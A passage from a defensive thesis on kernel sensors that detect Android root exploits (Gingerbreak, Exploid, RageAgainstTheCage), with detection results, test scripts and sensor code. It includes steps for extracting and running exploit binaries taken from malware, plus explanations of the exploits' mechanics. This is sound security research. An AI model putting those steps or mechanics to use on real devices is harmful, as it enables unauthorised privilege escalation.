consumption do not grow with input. Because the kernel needs to maintain a small
footprint, kernel developers need to require as little memory space as possible. On 32
bit machines, the default compiler options ﬁx the kernel stack size to 8 kilobytes [28].
4.8.4 Testing Procedures.
After adding the following modiﬁcations to the kernel, the developer compiles the
Android Linux kernel. Of note, developers should compile Android 4.x with ARM-eabi
version 7. All other versions should use ARM-eabi version 5. As of this thesis, the source
code for goldfish contains both version 2.6.29 and 3.4. Version 3.4 is still in development
and not recommended for testing [46].
For the experiment, the adb program from the Android standard development kit
(SDK) installs the malware onto the Android virtual device by the command adb install
<program file.apk>. The command will respond if the application installed correctly.
Since the three malware families require WiFi permission, they can determine if they are in
a virtual machine, because the Android VM cannot enable WiFi [3]. When the WiFi toggle
fails, the malware has a good indication that the underlying system is an Android virtual
device.
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To overcome the malware anti-forensics, the exploit must run outside of the
application. For Gingerbreak, the exploit resides in assets/gbfm.png. The adb
program can push the exploit to the Android virtual device (AVD). Next, the adb program
remounts the entire Android ﬁle system as read/write. The command, adb shell, spawns
terminal shell in the AVD. On the terminal, the command chmod 777 gbfm.png makes
the ﬁle runnable. The ﬁle gbfm.png is really an executable and linkable ﬁle (ELF) instead
of portable network graphic (PNG). From the shell, the command, ./gbfm.png, starts the
exploit.
For the other two malware families, the zHash exploit resides in /res/raw/extend,
/assets/exploid, or /assets/secbino. For DroidKungFu3, the malware encrypted
the exploits at /assets/* with AES. The malware writer(s) hardcoded the password in the
program’s bytecode, and the password changes based on the sample. Like Gingerbreak,
the adb program pushes the exploit to the AVD, conﬁgures the ﬁlesystem as writeable, sets
the exploit ﬁle as executable, and launches the exploit.
4.9 Summary
The eﬀectiveness of this research requires a procedural understanding for reverse
engineering malware. By discovering how the malware roots the device, modiﬁcations
to the kernel can detect the exploit. In addition, understanding the inner workings of the
kernel ensures minimal asymptomatic changes to memory space and running time.
In this research, all the sensors relied on kernel data structures to acquire information.
By utilizing kernel data structures, the sensors save memory in the kernel. In the kernel,
actions should happen quickly with as little memory consumption as possible [28]. In
addition the kernel data structures decreased the big O complexity of the sensors, because
the sensors no longer needed to manage their own data structures.
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V. Detection Analysis
5.1 Introduction
This chapter discusses the results of the experiment. The research followed the
techniques discussed in Chapter 4 to extract the payload from the malicious software. The
design discussed circumvents the malware’s anti-forensic techniques.
5.2 Gingerbreak
Figure 5.1 shows the detection rate for Gingerbreak running on diﬀerent Android
operating systems. The Gingerbreak code came from the payload of Gingermaster
applications. Based on SHA1 hash, the payload for each applications was the same.
Android Version Results
Donut (1.6) * Detected
Eclair (2.1) * Detected
Froyo (2.2) * Detected
Gingerbread (2.3.3) * Detected
Honeycomb (3.0) Detected
Jelly Bean (4.3) Detected
KitKat (4.4) Detected
* Operating system vulnerable to Gingerbreak
Figure 5.1: Gingerbreak binary detection
For payloads, all four versions of Gingermaster utilized the same exploit (based on
SHA1 hash). Listing B.3 shows the code to extract the hash, and Figure 5.2 shows the hash.
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SHA1: 611818ea2da9d302d6bcd9b61846d7fa9a65e96d
4/4 (100%)
Figure 5.2: Gingermaster detection results against the diﬀerent payloads
To begin, the test ran on Android 2.2 (Froyo) and detected each copy of Gingermaster.
The Gingermaster application only attacks versions less than or equal to 2.3.3. To test the
exploit on each version of Android, Section 4.8.4 stated to pull to payload from the virus
and execute the payload on the device via the adb program. For Android versions less than
or equal to 2.3.3, the developer(s) can modify the sensors to also block the exploit. Later
Android versions already block the exploit, but do not detect. Conversely, Figure 5.3 shows
the eﬀectiveness of antiviruses for ﬁnding the exploit in 2011.
AVG Lookout Norton TrendMicro
4/4 (100%) 4/4 (100%) 4/4 (100%) 4/4 (100%)
Figure 5.3: 2011 Gingermaster detection results from four antivirus software [20]
For Gingermaster, the lack of variants improved signature-based detection accuracy.
However, should the attacker introduce a new variant, the signature-based detection
algorithms would require a new signature deﬁnition. The kernel method can detect the
behavior in real time. As long as the exploit continues to rely on a negligent permission
check in sendmsg(2), the kernel algorithm works.
5.3 zHash
zHash, similar to Gingerbreak, relies on a negligent permission check in sendmsg(2).
Although zHash runs a diﬀerent root exploit, both exploit families go through the same
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critical path. They both send a datagram packet through NETLINK_KOBJECT_UEVENT.
Only the kernel should send messages via the NETLINK_KOBJECT_UEVENT channel. Figure
5.4 shows the algorithms detection of zHash’s payload known as Exploid.
Android Version Results
Donut (1.6) * Detected
Eclair (2.1) * Detected
Froyo (2.2) * Detected
Gingerbread (2.3.3) Detected
Honeycomb (3.0) Detected
Jelly Bean (4.3) Detected
KitKat (4.4) Detected
* Operating system vulnerable to zHash
Figure 5.4: zHash binary detection
For this exploit, the modiﬁed kernel detected the exploit on all operating systems. The
payload Exploid only works on Android Kernel versions less than or equal to 2.2. Figure
5.5 shows a comparison to antivirus.
AVG Lookout Norton TrendMicro
11/11 (100%) 11/11 (100%) 11/11 (100%) 11/11 (100%)
Figure 5.5: 2011 zHash Detection Results From Four Antivirus Software [20]
Like Gingermaster, the lack of variants and age of the exploit helped in the
static signature-based detection. Under certain circumstances, signature-based detection
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can detect zHash during download which is not possible for behavior-based detection
algorithms. However, the circumstances require a pre-existing signature and limited ﬁle
obfuscation. Behavior based detection algorithms do not require static signatures nor
fooled by ﬁle obfuscation. Since the detection is inline with the kernel, the detection
happens instantaneously when the malware crosses the critical path.
Based on a VirusTotal [38] scan report, the malware sample contained 2 malware
applications with the name zHash. However, VirusTotal also calls the malware Exploid.
A search for Exploid revealed 18 malware samples including zHash. The sensor detected
all 18 malware samples. Figure 5.6 shows the diﬀerent payloads inside the zHashmalware.
Listing B.2 shows the code to extract the diﬀerent hashes.
SHA1: b703df668e41a8cf5bad44edf1ac65c915e5fe41 SHA1: 8d673db24815b1924c4fbff8f204c30e7570d4c2
9/9 (100%) 8/8 (100%)
SHA1: c6908dc5f7c072d89d0f8359a0a2add9658b016a
1/1 (100%)
Figure 5.6: zHash detection results against the diﬀerent payloads
5.4 DroidKungFu
DroidKungFu came in four variants with several repackaged applications inside the
third-party application stores. The fourth variation assumes the user already rooted the
phone. Therefore, DroidKungFu4 lacked any root exploits and was not a candidate for
this experiment. Figure 5.7 shows the detection rate for DroidKungFu.
All three version of DroidKungFu rely on Exploid and RageAgainstTheCage.
Therefore, they all attacked the same vulnerabilities and the kernel quickly detected the
malware calling through the critical path. Despite the payload encryption and 373 re-
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Android Version Results
Donut (1.6) * Detected
Eclair (2.1) * Detected
Froyo (2.2) * Detected
Gingerbread (2.3.3) * Detected
Honeycomb (3.0) Detected
Jelly Bean (4.3) Detected
KitKat (4.4) Detected
* Operating system vulnerable to DroidKungFu
Figure 5.7: DroidKungFu binary detection
packaged versions of the malware, the exploits still followed the deterministic path to
exploit the vulnerability. RATC aﬀects Android OSs that are less than or equal to 2.2.1.
In this experiment, the sensors detected, but did not prevent RATC from running. To prevent
the attack, developers need to check the return values inside Figure 5.8.
Android ≤ 2.2.1: adb.c:adb_main()
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
Android > 2.2.1: adb.c:adb_main()
if (setgid(AID_SHELL) != 0) {
exit(1);
}
if (setuid(AID_SHELL) != 0) {
exit(1);
}
Figure 5.8: Source code change inside /system/core/adb.c:adb main()
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Android versions greater than 2.2.1 patched the exploit. To increase the accuracy
of detection, developers could report a message to syslog stating that the system calls
setgid(2) and setuid(2) inside adb.c failed. Therefore, the sensors in fork.c and
adb.c can detect RATC.
DroidKungFu came with the most variety of payloads. However, they all attacked
the same vulnerability, and the kernel sensors discovered each one. Figure 5.9 shows the
kernel’s detection rate against the diﬀerent payloads of DroidKungFu versions. Listing
B.4 shows the code to extract the diﬀerent hashes.
SHA1: e58a10ae5b217494ea9f83ee143156fca2a5288a SHA1: 89d86c6c5ae746b06604f1c1ac84ff45b107224d
81/81 (100%) 149/149 (100%)
SHA1: f6fc90a168518d850e82965ed56cffe13b231075 SHA1: 7fd791ae18455ea3bb787ecd498712d28046afab
1/1 (100%) 28/28 (100%)
SHA1: 260a16f427ec521d1a86e31af918ab4d210b5be1 SHA1: 48ae6f73d4411eab4953c5a29d0fd51877270c2e
39/39 (100%) 39/39 (100%)
SHA1: d683acfb19ab9719028ffceadd35e64d5488ca6c SHA1: 5c7b198241c97179f20e00b966548f86d6c7d3f2
1/1 (100%) 1/1 (100%)
SHA1: 38167159a4dd066ff525589183f8e68304fff2a6
18/18 (100%)
Figure 5.9: DroidKungFu detection results against the diﬀerent payloads
The detection sensor resides in kernel/fork.c:copy_process() and net/
socket.c:__sock_sendmsg(). The sensors detect fork bombs as well as RATC.
Attackers use fork bombs to create a denial of service (DOS) to the phone. Figure 5.10
shows the 2011 antivirus detection rate for the diﬀerent versions of DroidKungFu.
Repackaged applications prove diﬃcult for static signatures to detect. Norton could
only detect 0.3% of DroidKungFu3 variants. With dynamic detection, the sensors look
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AVG Lookout Norton TrendMicro
DroidKungFu1 34/34 (100%) 34/34 (100%) 2/34 (5.8%) 33/34 (97%)
DroidKungFu2 30/30 (100%) 30/30 (100%) 1/30 (3.3%) 30/30 (100%)
DroidKungFu3 0/309 (0%) 307/309
(99.3%)
1/309 (0.3%) 305/309
(98.7%)
Figure 5.10: 2011 DroidKungFu detection results from four antivirus software [20]
for speciﬁc malware behavior. The malware behavior will not change due to repackaging.
Therefore, the dynamic detection signatures require less updates.
5.5 False Positives
The experiment tested over 16,577 benign applications from the oﬃcial Android
Market [15] and Chinese third-party markets [8, 30]. To test the benign applications,
the testing script installs the benign application into the emulator running the behavior-
detection kernel. The script launches the applications, sends a BOOT_COMPLETED message,
and allows the program to run for 30 seconds. Afterwards, the emulator reverts to a previous
snapshot. The log ﬁle from the experiment reports any false positives. VirusTotal ensures
the application contain no root exploits. The experiment contained no false positives.
5.6 Accuracy
For this experiment, the test did not have false positives (type II errors) or false
negatives (type I errors). The sensors did not detect rooting attacks from the benign
applications. The payloads for the malicious applications triggered the sensors. The
experiment tests the payloads from the malicious application to avoid anti-forensics
techniques. Table 5.1 shows the accuracy of the experiment.
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Actually Malicious Applications Not Malicious Applications
Sensors Detected Malicious 379 0
Sensors Detected Benign 0 16,577
Legend
Actually Malicious Applications Not Malicious Applications
Sensors Detected Malicious True Positive False Positive (Type II Error)
Sensors Detected Benign False Negative (Type I Error) True Negative
Table 5.1: Accuracy of the experiment
Because of the deterministic nature of the payload’s machine code, the kernel detects
the intrusion. If the malicious application chooses not to execute the payload, the sensor
determines the application to be benign. A non-attacking application does not pose a threat
to the system.
5.7 Advantage and Disadvantage of the Proposed Detection Algorithm
The sensors provide real time detection, and is harder for malware to circumvent since
the sensors reside in the kernel. In addition, the sensors requires less asymptotic complexity
and memory consumption than static signature-based detection. For the slowest sensor
which monitors all new processes, the detection runs in O(n) where n = RLIMT NPROC.
The default value of n is 6,656 in the emulator. Only the root user can change this value.
For memory consumption, the sensor’s memory requirements remain constant regardless
of user input. The sensor which detects all packet sent using sendmsg(2) runs in O(1).
The memory consumption for the sendmsg(2) sensor remains constant regardless of user
input. The sensors defending two critical paths detect 379 root exploits where antivirus
must constantly maintain signatures of all known root exploits. Unlike the antiviruses,
a user cannot disable the sensors. The sensors reside inline with the kernel which also
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prevents malware from disabling the sensors. However, should the user desire to root
their own phone, the user will trigger the sensors. The feature protects the user, but the user
may not want the protection.
On the other hand, traditional antivirus can detect a wider range of malware (not
just root seeking samples). The ﬂexibility comes with the cost of extra overhead. The
antivirus must constantly provide deﬁnition updates. In addition, the program requires
more processing power to detect the samples. The program will contain a higher false
negative (Type I) error rate, because the static signature may intrinsically detect variations
of the same malware family. Small changes in the malware’s source code or using a
diﬀerent compiler have signiﬁcant eﬀects on the machine code which changes the static
signature.
5.8 Summary
For this experiment, the root detection algorithm inside the Android kernel detected
RATC, Exploid, and Gingerbreak exploits. The sensors could also detect the intrusion
even if the Android operating system is no longer vulnerable. Some antivirus software
could not detect all versions of DroidKungFu in December 2011.
The sensors detected all 379 root exploits and reported all 16,577 benign applications
from the oﬃcial Android market and the third-party Chinese application stores correctly.
The experiment reported zero false positives and zero false negatives. The study discovered
two critical paths inside the kernel where only malware entered.
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VI. Conclusion
6.1 Introduction
This chapter presents a summary and describes the signiﬁcance of the research. In
addition, the chapter recommends future research for Android rooting detection. The
thesis accomplished the four goals outlined in Section 1.2.
6.2 Summary of Research
The research provided means to detect malware running Exploid, RageAgainstTh
eCage, and Gingerbreak. The methodology detected all 379 root exploits. In addition,
no false positives for the 16,577 benign applications tested. The discovered critical paths
detected the exploits. However, future malware may discover a new path to root the
device. Therefore, the research demonstrated the procedures to reverse engineer malware.
The fork bomb sensor asymptotic time complexity is O(n) where n is the number of
process the Application forked to reach RLIMIT_NPROC. RLIMIT_NPROC is the maximum
number of processes a single user may run, and the default Android emulator sets the
value to 6,656. Each application is a unique user for the Android operating system. If the
application is benign, the sensor runs in constant time. The asymptotic memory complexity
for the sensor is constant. The input to the sensor does not aﬀect memory consumption.
The sendmsg(2) sensor runs in O(1). The sensor’s time complexity remains constant
regardless of input. In addition, the sensor’s space complexity (memory consumption) is
constant.
The sensor is portable. That is, the code compiled successfully under Linux 3.13,
Linux 2.26 and Android goldfish 2.26 source code. In addition, the code changes
compiled to ARMv5, ARMv7, and x86_64 machine code. The kernel operated on Ubuntu
12.04 as well as Android 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3 and 4.4 distributions.
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6.3 Recommendations for Future Research
Malware on Android continues to grow, and malware writers will discover new
techniques to root Android. In addition, kernel developers continue to perfect Linux
and consequently modify the ﬂow of execution in the kernel. Therefore, the critical paths
change along with the newer kernel versions. As the critical paths change, the sensors
require updates.
This research did not cover the asroot [31] vulnerability exploit due to time
constraints. The exploit may require detection of the new critical path. In addition, adding
sensors in the Davlik virtual machine (DVM) may detect applications running with root
permissions. By discovering root applications inside the DVM, researchers may also
discover new malware exploits unknown to the community.
Although this thesis studies local privilege exploits on Android, the sensors could
adapt to protect the Linux operating system from root-seeking malware. Since Android
shares a similar kernel, the sensors could protect Linux. Indeed, the asroot and
Gingerbreak exploits came from Linux ﬁrst [31, 32]. The concept of kernel sensors
could also detect root exploits on Windows, iOS and other operating systems.
6.4 Research Contributions
The research provided a 100% detection rate for the three root exploits. In addition
the sensors can detect and/or prevent exploits which provides ﬂexibility on how to respond
to the malware. The sensors did not report any false positives from benign applications.
The sensors can behave like a honeypot and only report intrusions. The community
can implement the sensors to discover new exploits. The critical path shared by
Gingerbreak and Exploid demonstrate the similarity between exploits. Unlike antivirus
applications, the sensors are not in the installed applications list. The user nor malware can
uninstall the sensors without replacing the entire kernel. In addition, the sensors work for
all versions of the Android operating system.
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Unlike static signatures, small changes to the malware source code or using a diﬀerent
compiler will not change the malware’s critical paths. Sensors inside the kernel can monitor
all paths of execution for all applications in real time. The local privilege exploit cannot
circumvent the kernel.
The research also discovered the existence of critical paths inside the kernel that only
malware reached. In addition, the research demonstrated the feasibility of monitoring the
critical paths in real time. Not only can the sensors monitor malware in real time, they
required less memory and power consumption than signature based detection. Unlike
cloud-based solutions proposed, the detection remains on the device. Therefore, the
sensors operate without network access. The sensors do not raise the privacy concerns
of cloud-based detection. Since the asymptotic complexity of the sensor is O(n) when n ≤
RLIMIT_NPROC, the sensors require less battery power than uploading the malware to the
cloud. Under normal circumstances, the sensor runs in constant time.
Moreover, the study demonstrated the feasibility of reverse engineering Android
malware. Because the applications run Dalvik bytecode, the community provides software
to convert bytecode to its source code counterpart. Therefore, Dalvik bytecode is easier to
reverse engineer than native code. Nevertheless, malware uses native code for their root
exploits. At this time, the 397 malware payloads did not use code obfuscation, and allows
disassemblers to convert the machine code to assembly. Additionally, the application’s
bytecode provides insight on the inner workings of the native code exploits. Should
malware sophistication improve, the kernel sensors are immune to code obfuscation on
the ﬁle system.
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Appendix: Tools Needed
This chapter includes the tools run for the experiments. The ﬁrst section discusses
virtualization tools which sandbox the malware from propagating to the Internet. The next
section provides the remote access tools to reach the severs. The last section explains the
developer tools required for implementing and testing the sensors.
A.1 Virtualization
To prevent the propagation of malware, the malware samples run inside and the
Android emulator which is running on Ubuntu 12.04 virtual machine. Oracle Virtualbox 4
[35] isolates Ubuntu 12.04 from the host machine and network. In addition Virtualbox
allows users to take snapshots of diﬀerent states of the operating system. For this
experiment, reverting to snapshot provides the experiment with a stable baseline for testing.
The Android emulator also provides snaphots which revert the system to a baseline state
before the malware sample existed on the machine.
A.2 Remote Access
To access the diﬀerent servers securely, the virtual machines connected remotely
to other virtual machines. The virtual machines run secure shell client (SSH), virtual
network computing (VNC), remote desktop protocol (RDP), and server message block
(SMB). SSH provides encrypted terminal access to Linux-based systems. The program
OpenSSH [34] provides the SSH server and client. For graphical remote access, VNC
(for the Linux servers) and RDP (for the Windows server) sends the user desktop over
the internet protocol. The program Xvnc4 maintained by RealVNC [37] provides VNC
support while Microsoft maintains RDP. In addition Microsoft also maintains SMB [29].
SMB provides a remote ﬁleshare service to access the samples from the network attached
storage (NAS) servers.
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A.3 Developer Tools
• GNU C – The Linux Kernel Code compiles only with GNU C Compiler.
• Sun Java Developer Toolkit 6 – The Android Source compiles only with Sun JDK
version 6.
• Android Standard Developer Toolkit with Eclipse – Includes emulators, tools, coding
platform and quasi-debugging of Android Applications.
• Git – The version control system required to obtained the latest Android kernel and
operating system.
• IDA Pro 5.5 – Required to reverse-engineer AndroidMalware (at this time, all written
in ELF 32-bit ARM version 5)
• JD-GUI 0.3.5 – Reverse-Engineers Java byte-code back to Java syntax.
• Android Malware Genome Project – Provides the 1,200 Android malware samples
[56].
• Python 2.7.5 – For automating the testing process.
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Appendix: Scripts Used
B.1 Obtain VirusTotal results for each malware sample
The following code sends hashes of each malware sample to VirusTotal [38].
VirusTotal reports 46 antiviruses’ ﬁndings and provides a python application programming
interface (API) to automate scans. The API ﬁle is called vt.py.
#!/usr/bin/env python
#
# This program queries Virus Totoal. It reads the
# names of the files from
# FILENAME (one file per line). It then runs:
# ./vt.py <filename> (found on VirusTotal website at
# https://www.virustotal.com/en/documentation/public-api/)
# For each file. NOTE: vt.py should be in the same
# directory. If not, modify
# the parameter VT_API_FILENAME to point to the program.
import os, time, subprocess
FILENAME = "malicious_filelist.txt"
VT_API_FILENAME = "./vt.py"
if __name__ == ’__main__’:
counter = 0
fileList = open(FILENAME ,’r’)
for line in fileList:
# We can only send 4 requests a minute. We need
# to slow down our
# program so we don’t get banned from Virus Total.
if (counter != 0 and counter % 4 == 0):
time.sleep(60)
else:
subprocess.call([VT_API_FILENAME , \
line.strip()])
counter = counter + 1
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print "[*] done. " + str(counter) + " files processed.\n"
Listing B.1: VirusTotal Database Query
B.2 Collect SHA1 Hashes of the zHash Payload
The following code collects the diﬀerent SHA1 hashes for zHash. Android
applications install from in ZIP folders. The payload could reside in res/raw/extend,
assets/exploid, or assets/secbino.
#!/usr/bin/env python
#
# This program extracts the virus,
# exploid, from zHash and gets its hash
import os, time, subprocess , hashlib, zipfile
FILENAME = "/media/store/Exploid.txt"
if __name__ == ’__main__’:
print "[*] Program Starting.\n"
fileList = open(FILENAME ,’r’)
hashes = {}
processed = 0
failed = 0
for line in fileList:
zHash = zipfile.ZipFile(line.strip())
try:
extend = zHash.read("res/raw/extend");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
try:
extend = \
zHash.read("assets/exploid");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
try:
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extend = \
zHash.read("assets/secbino");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
print "[-] file: " + \
line.strip()
failed = failed + 1
continue
if hashes.get(sha1.hexdigest(), None) == None:
print str(line.strip()) + " : " + \
str(sha1.hexdigest())
hashes[sha1.hexdigest()] = line.strip()
print "[*] Done. "
print str(processed) + " files processed. " + \
str(failed) + " files failed."
Listing B.2: Extract the SHA1 hashes of the zHash Payload
B.3 Collect SHA1 Hashes of the Gingermaster Payload
The below code obtains the diﬀerent SHA1 hashes of Gingermaster. For all samples,
the payload resides in assets/gbfm.png.
#!/usr/bin/env python
import os, time, subprocess , hashlib, zipfile
FILENAME = "/media/store/Gingerbreak.txt"
if __name__ == ’__main__’:
print "[*] Program Starting.\n"
fileList = open(FILENAME ,’r’)
hashes = {}
processed = 0
failed = 0
for line in fileList:
zHash = zipfile.ZipFile(line.strip())
try:
extend = zHash.read("assets/gbfm.png");
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sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
print "[-] file: " + line.strip()
failed = failed + 1
continue
if hashes.get(sha1.hexdigest(), None) == None:
print str(line.strip()) + " : " + str(sha1.hexdigest())
hashes[sha1.hexdigest()] = 1
else:
hashes[sha1.hexdigest()] = hashes[sha1.hexdigest()] + 1
print "[*] Done. "
print str(processed) + " files processed. " + \
str(failed) + " files failed."
print str(hashes)
Listing B.3: Extract the SHA1 hashes of the Gingermaster Payload
B.4 Extract SHA1 Hash for DroidKungFu Payload
DroidKungFu’s payload resides in assets/foobin, assets.webView.db.init,
assets/db.init, or assets/ratc. The code below collects the SHA1 hashes of the
various payloads.
#!/usr/bin/env python
import os, time, subprocess , hashlib, zipfile
FILENAME = "/media/store/DroidKungFu.txt"
if __name__ == ’__main__’:
print "[*] Program Starting.\n"
fileList = open(FILENAME ,’r’)
hashes = {}
processed = 0
failed = 0
for line in fileList:
zHash = zipfile.ZipFile(line.strip())
try:
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extend = zHash.read("assets/foobin");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
try:
extend = zHash.read("assets/WebView.db.init");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
try:
extend = zHash.read("assets/db.init");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
try:
extend = zHash.read("assets/ratc");
sha1 = hashlib.sha1()
sha1.update(extend)
processed = processed + 1
except KeyError:
print "[-] file: " + line.strip()
failed = failed + 1
continue
if hashes.get(sha1.hexdigest(), None) == None:
print str(line.strip()) + " : " + \
str(sha1.hexdigest())
hashes[sha1.hexdigest()] = 1
else:
hashes[sha1.hexdigest()] = \
hashes[sha1.hexdigest()] + 1
print "[*] Done. "
print str(processed) + " files processed. " + \
str(failed) + " files failed."
print str(hashes)
Listing B.4: Extract the SHA1 hashes of the DroidKungFu Payload
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B.5 Test Benign Apps
The following code tests benign applications for false positives. The script installs the
application, runs the program, and sends the program a BOOT_COMPLETED message.
#!/usr/bin/env python
from __future__ import division
import os, time, subprocess , sys, signal, multiprocessing
from subprocess import Popen, PIPE
from threading import Thread
KEEP_RUNNING = multiprocessing.Value(’i’, 1)
FILELIST = "/media/store/harmless_filelist.txt"
def start_emulator():
print "[$] emulator -avd Android -2.2 -kernel " \
"custom-kernel -show-kernel -wipe-data"
subprocess.Popen("emulator -avd Android -2.2 -kernel " \
"custom-kernel -show-kernel -wipe-data", shell=True)
while(KEEP_RUNNING.value == 1):
time.sleep(2)
def signal_handler(signal, frame):
print "Goodbye"
KEEP_RUNNING.value = 0
thread.join()
sys.exit(0)
thread = Thread(target = start_emulator)
def install_app(app):
print "[$] adb install " + app
subprocess.call("adb install " + app, shell=True)
def run_app(app):
print "[$] ./adb-run.sh " + app
subprocess.call("./adb-run.sh " + app, shell=True)
def kill_emulator():
print "[$] adb emu kill"
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subprocess.call("adb emu kill", shell=True)
def broadcast_boot_completed():
print "[$] adb shell am broadcast -a " \
"android.intent.action.BOOT_COMPLETED"
subprocess.call("adb shell am broadcast -a " \
"android.intent.action.BOOT_COMPLETED", shell=True)
if __name__ == ’__main__’:
signal.signal(signal.SIGINT, signal_handler)
fileList = open(FILELIST ,’r’)
thread.start();
time.sleep(90)
i = 1
for line in fileList:
if (i % 10 == 0):
broadcast_boot_completed()
time.sleep(10)
KEEP_RUNNING.value = 0
thread.join()
kill_emulator()
time.sleep(5)
KEEP_RUNNING.value = 1
thread = Thread(target = start_emulator)
thread.start()
time.sleep(110)
print "[*] " + str((i / 16577) * 100) + "% completed."
install_app(line.strip())
time.sleep(2)
run_app(line.strip())
time.sleep(10)
i = i + 1
KEEP_RUNNING.value = 0
thread.join()
print "[*] Completed."
Listing B.5: Python script for testing benign applications
The shell script, adb-run.sh, contains the following code.
#!/bin/sh
pkg=$(/home/jball/android-sdk/sdk/platforms/android -4/tools/aapt \
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dump badging $1|awk -F" " ’/package/ {print $2}’|awk -F"’" \
’/name=/ {print $2}’)
act=$(/home/jball/android-sdk/sdk/platforms/android -4/tools/aapt \
dump badging $1|awk -F" " ’/launchable activity/ {print $3}’\
|awk \-F"’" ’/name=/ {print $2}’)
adb shell am start -n $pkg/$act
Listing B.6: Run an Android application
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Appendix: Sensor code inside the kernel
By modifying the source code inside the Linux kernel, the experiment demonstrates
that installing sensors inside the critical paths of the Linux kernel detects malware before
antivirus. In addition, the kernel detects malware behavior which provides more resiliency
to polymorphic malware than hash signatures.
Of note, Android runs on its own modiﬁed version of Linux. Each Android platform
runs a unique version of the kernel. The developers name each kernel type by an animal.
For example, the Android emulator, which the researchers of this experiment run, requires
the kernel codenamed Goldfish.
C.1 Sensor to detect RageAgainstTheCage
First, RageAgainstTheCage roots the phone by running a fork bomb until the
system reaches RLIMIT NPROC processes. Then, the exploit kills the adbd process. The
system restarts adbd as root. Next, adbd calls setuid and setguid to drop its privilege
to AID SHELL. Since the system reached RLIMIT NPROC processes, both system calls fail,
but adbd fails to check for failure. From this point, adbd spawns new processes with root
privileges.
To prevent this attack, the Linux kernel will detect fork bombs and report the ﬁndings
to /proc/kmsg. The sensor goes in kernel/fork.c:copy_process. When the kernel
performs a quota check for RLIMIT_NPROC, the sensor will report violators to syslog.
static struct task_struct *copy_process(unsigned long clone_flags ,
unsigned long stack_start ,
unsigned long stack_size ,
int __user *child_tidptr ,
struct pid *pid,
int trace)
{
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struct task_struct *attacker; /* used in sensor */
/* code snipped */
/*
* The copy process now checks that the user
* hasn’t reached their RLMIT_NPROC quota
*/
if (atomic_read(&p->real_cred ->user->processes) >=
task_rlimit(p, RLIMIT_NPROC))
{
if (!capable(CAP_SYS_ADMIN) &&
!capable(CAP_SYS_RESOURCE) &&
p->real_cred ->user != INIT_USER)
{
/***************************************
* MY CODE BEGINS HERE (roughly line 994)
***************************************/
/*
* Find the attacker process that started
* the fork bomb.
*/
attacker = current;
while(strcmp(attacker->parent->comm,
current->comm) == 0 &&
attacker != &init_task)
{
attacker = attacker ->parent;
}
printk("[FORK_SENSOR] Attack Detected. "
"Process %s(%lu), User %lu.\n",
attacker ->comm,
attacker ->pid,
attacker ->real_cred ->uid
);
/****************************************
* MY CODE ENDS HERE
****************************************/
/*
* Clean up allocated memory and return
* error code.
*/
goto bad_fork_free;
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}}
Listing C.1: Source code change inside kernel/fork.c:copy process
From the code above, the variable, p (shorten for process) and current (macro that
points to the current process), is of type task_struct. The task_struct contains all
the metadata the kernel needs to know about a given process. First, the code looks to
see how many processes the current user is running. In Android, each application is its
own user which helps ensure application isolation from each other. The kernel keeps
track of the total number of user processes at &p->real_cred->user->processes,
and the code compares the running processes number to the maximum number allowed
for that user (RLIMIT NPROC). If over, the code checks if the current user contains the
CAP SYS ADMIN or CAP SYS RESOURCE tokens which allow the user exemption from the
process quota. If the user lacks the above tokens, the detection algorithm ﬁnds the original
process (attacker) which started the fork bomb. Next, the code sends a message to
syslog (located at /proc/kmsg in Android). The message contains the ﬁrst 15 characters
of the process’s name, the super parent process’s identiﬁcation, and the user identiﬁcation.
C.2 Sensor to detect Gingerbreak and Exploid
Gingerbreak and Exploid both send messages via the NETLINK_KOBJECT_UEVENT
protocol. The developers designed this protocol so the kernel can talk to user space [24].
User space should not have sendmsg permission via this protocol. Linux developers
already patched this vulnerability. At this point, malware detection should activate if user
space tries to send messages through the NETLINK_KOBJECT_UEVENT protocol. The sensor
goes in net/socket.c:__sock_sendmsg.
static inline int __sock_sendmsg(struct kiocb *iocb,
struct socket *sock,
struct msghdr *msg,
size_t size)
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{/************************************************
* MY CODE STARTS HERE (Beginning of the function)
*************************************************/
struct sock *sk = sock->sk;
int err;
if(sk->sk_family == PF_NETLINK &&
sk->sk_protocol == NETLINK_KOBJECT_UEVENT &&
current->real_cred ->uid != 0)
{
printk("[__sock_sendmsg] Attack Detected. "
"Process %s(%lu), User "
"%lu tried to send a message via NETLINK"
"_KOBJECT_UEVENT.\n", current->comm,
task_tgid_vnr(current),
current->real_cred ->uid
);
}
/***********************************************
* MY CODE ENDS HERE
***********************************************/
Listing C.2: Source code change inside net/socket.c: sock sendmsg
When a user calls sendmsg, the call reaches the kernel at net/socket.c. After
collecting and parsing the parameters from the system call, the kernel passes the sanitized
arguments to __sock_sendmsg. For this function, the detection algorithm checks if a user
process tried to send a message via NETLINK KOBJECT UEVENT. If so, the code sends a
message to syslog (located at /proc/kmsg in Android). The message contains the ﬁrst
15 characters of the process’s name, the process’s identiﬁcation and the user identiﬁcation.
The latest goldfish kernel checks for permissions to send via netlink and blocks
the communication. Originally, the kernel allowed the communication [40]. In addition,
the protocol accepted datagram or raw packets [24]. While raw packets require root
permissions, datagram packets do not. If an unprivileged hacker sends the message via
a datagram package instead of a raw packet, the packet goes through. Since then, the
developers patched the kernel to block datagram and raw packets for users. However, the
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Linux kernel development community chose not to report the violation in syslog [7]. As
such the user never knows the attack occurred. If the user knew, the user may remove the
malicious program before the malware discovers a successful means to root the phone.
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Appendix: Original malware signature paths
D.1 Critical path for Gingerbreak
Inside the function do_fault, Gingerbreak makes a system call to sendmsg(2)
using the NETLINK_KOBJECT_UEVENT protocol. Since the protocol is designed to send
kernel messages to user space [24], the malware fools udev to overwrite the strcmp(3)
global oﬀset table (GOT) entry in vold with system(3). If the sendmsg(2) fails, the
exploit fails. By monitoring user processes sending messages over NETLINK_KOBJECT_
UEVENT, the sensor can detect the exploit. Listing D.1 shows the do_fault source code
for Gingerbreak.
static int do_fault(uint32_t idx, int oneshot)
{
